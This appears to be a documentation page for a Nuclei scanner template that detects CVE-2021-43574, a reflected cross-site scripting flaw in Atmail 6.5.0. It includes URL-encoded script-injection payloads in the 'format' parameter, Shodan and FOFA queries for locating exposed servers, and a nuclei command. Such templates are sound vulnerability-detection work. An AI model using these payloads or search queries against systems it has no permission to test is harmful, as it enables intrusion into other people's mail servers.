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Atmail 6.5.0 - Cross-Site Scripting

ID: CVE-2021-43574

Severity: medium

Author: arafatansari,ritikchaddha

Tags: cve2021,cve,atmail,xss

Description

Section titled “Description”

Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-43574


info:
  name: Atmail 6.5.0 - Cross-Site Scripting
  author: arafatansari,ritikchaddha
  severity: medium
  description: |
    Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Atmail to fix the XSS vulnerability.
  reference:
    - https://medium.com/@bhattronit96/cve-2021-43574-696041dcab9e
    - https://help.atmail.com/hc/en-us/sections/115003283988
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43574
    - https://medium.com/%40bhattronit96/cve-2021-43574-696041dcab9e
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43574
    cwe-id: CWE-79
    epss-score: 0.00132
    epss-percentile: 0.48231
    cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: atmail
    product: atmail
    shodan-query:
      - http.html:"Powered by Atmail"
      - http.html:"powered by atmail"
      - http.html:"atmail"
    fofa-query:
      - body="powered by atmail"
      - body="atmail"
  tags: cve2021,cve,atmail,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>" does not exist'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 500
          - 403
        condition: or
# digest: 490a0046304402207f9ece7eb93b63aa0cb4b14917b3ea6c07accf6a3bf5083f65e4171c46b4abe9022004ffe2c36ee6d436c7e1d46a22bcddce9a38a294d76201b3447b70a7575c0a99:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43574.yaml"

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